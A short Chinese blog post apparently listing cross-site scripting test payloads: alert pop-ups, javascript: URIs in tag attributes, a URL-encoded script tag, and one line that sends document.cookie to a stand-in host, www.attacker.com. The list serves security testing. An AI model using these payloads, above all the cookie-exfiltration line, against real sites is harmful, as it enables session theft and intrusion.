安全测试脚本实例

<script>alert('HACK YOU!');</script>

<img src=javascript:alert('HACK YOU!')>

<table background="javascript:alert('HACK YOU!')">

<script>document.write(document.cookie);</script>

<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>

%3Cscript%3Ealert('XSS')%3C/script%3E

域名/<script>alert("TRACE");</script>

猜你喜欢

转载自angelguo.iteye.com/blog/1754974
今日推荐